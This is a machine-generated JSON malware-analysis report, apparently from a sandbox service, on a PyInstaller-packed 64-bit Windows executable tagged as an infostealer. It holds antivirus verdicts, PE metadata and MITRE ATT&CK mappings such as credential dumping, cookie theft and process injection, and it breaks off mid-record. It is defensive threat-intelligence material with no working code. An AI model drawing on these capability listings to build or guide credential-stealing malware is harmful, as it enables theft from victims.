96608:UDrBV5N","196608:DrBV5Na","196608:rBV5Nam","196608:BV5Nama","196608:V5NamaH","196608:5NamaHl","196608:NamaHl3","196608:amaHl3N","196608:maHl3Ne","196608:aHl3Ne4","196608:Hl3Ne4i","196608:l3Ne4i3","196608:3Ne4i3A","196608:Ne4i3A7","196608:e4i3A7t","196608:4i3A7tf","196608:i3A7tfX","196608:3A7tfXJ","196608:A7tfXJO","196608:7tfXJOL","196608:tfXJOLh","196608:fXJOLhx","196608:XJOLhx9","196608:JOLhx9f","196608:OLhx9fZ","196608:Lhx9fZA","196608:hx9fZAz","196608:x9fZAzD","196608:9fZAzDJ","196608:fZAzDJ4","196608:ZAzDJ4Y","196608:AzDJ4Yz","196608:zDJ4YzN","196608:DJ4YzNg","196608:J4YzNgs","196608:4YzNgsR","196608:YzNgsRu","196608:zNgsRuG","196608:NgsRuGK","196608:gsRuGKy","196608:sRuGKyR","196608:RuGKyRq","196608:uGKyRqU","196608:GKyRqUr","196608:KyRqUrv","196608:yRqUrvK","196608:RqUrvK1","196608:qUrvK1W","196608:UrvK1WM","196608:rvK1WME","196608:vK1WMEF","98304:CUvaeNy","98304:UvaeNyF","98304:vaeNyFJ","98304:aeNyFJM","98304:eNyFJMI","98304:NyFJMID","98304:yFJMIDJ","98304:FJMIDJp","98304:JMIDJpJ","98304:MIDJpJg","98304:IDJpJgs","98304:DJpJgsA","98304:JpJgsAG","98304:pJgsAGK","98304:JgsAGKy","98304:gsAGKyR","98304:sAGKyR/","98304:AGKyR/I","98304:GKyR/IW","98304:KyR/IWM","98304:yR/IWMu"],"imphash":"0b5552dccd9d0a834cea55c0c8fc05be","pehash":"006493dd08fd8414eb25fcc54d4cefdc68db35db"},"file_info":{"file_name":"8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":6326945,"entropy":8,"compile_timestamp":"1970-01-01T00:00:00","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1791129101000,"last_seen":1792088051000,"last_multi_scan":1792088051000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":7,"import_count":0,"export_count":0,"embedded_file_count":2,"sections":[{"name":".text","virtual_address":"0x1000","virtual_size":165888,"raw_size":165888},{"name":".rdata","virtual_address":"0x2a000","virtual_size":76566,"raw_size":76800},{"name":".data","virtual_address":"0x3d000","virtual_size":66552,"raw_size":3584},{"name":".pdata","virtual_address":"0x4e000","virtual_size":8388,"raw_size":8704},{"name":"_RDATA","virtual_address":"0x51000","virtual_size":348,"raw_size":512},{"name":".rsrc","virtual_address":"0x52000","virtual_size":2496,"raw_size":2560},{"name":".reloc","virtual_address":"0x53000","virtual_size":1880,"raw_size":2048}],"section_names":[".text",".rdata",".data",".pdata","_RDATA",".rsrc",".reloc"],"imported_dlls":null,"imported_functions":null},"additional_metadata":[{"name":"package_manager","type":"str","values":["pyinstaller"]}]},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive","infostealer","windows-server-utility"]},"stats":{"av":{"malicious_count":11,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":2,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":130},"sandbox_signatures":{"informative_count":328,"suspicious_count":24,"malicious_count":20,"total":372},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Adware/Win.Wacatac","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Packed]/Win64.PyInstaller","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Crypt.FKM.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Application.FCA.3351","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win32_Wacatac_B_ml","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"crowdstrikefalconml":{"name":"CrowdStrike Falcon ML","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win64/Packed.PyInstaller.L trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Riskware ( 005ce1ef1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"high_entropy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"PYC/Kryptik.C.gen!Camelot","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_100%","sources":[{"report_type":"quickscan","report_id":""}]},{"value":"Trojan[Packed]/Win64.PyInstaller","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Initial Access","technique":"External Remote Services","attack_id":"T1133","attack_id_wiki":"https://attack.mitre.org/techniques/T1133","identifiers":[{"type":"informative","value":"Able to configure Windows Remote Management service"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Executes WMI queries"},{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Execution","technique":"Path Interception by PATH Environment Variable","attack_id":"T1574.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/007","identifiers":[{"type":"informative","value":"References PATH environment registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Able to access control system service controller"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Able to build PowerShell events through modules contained in the .NET code"},{"type":"informative","value":"Executes PowerShell with command line"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Execution","technique":"Python","attack_id":"T1059.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/006","identifiers":[{"type":"informative","value":"PyInstaller file activity detected"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"},{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"},{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Execution","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve class object from a DLL object handler"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to add users to a group (API string)"},{"type":"suspicious","value":"Contains ability to update the user profile"},{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Set/modify configurations using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Persistence","technique":"Local Account","attack_id":"T1136.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1136/001","identifiers":[{"type":"informative","value":"Contains ability to create a new user account (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Able to establish persistence using Exchange transport agent (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Credential Access","technique":"Password Managers","attack_id":"T1555.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/005","identifiers":[{"type":"informative","value":"Able to access password managers"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"tactic":"Discovery","technique":"System 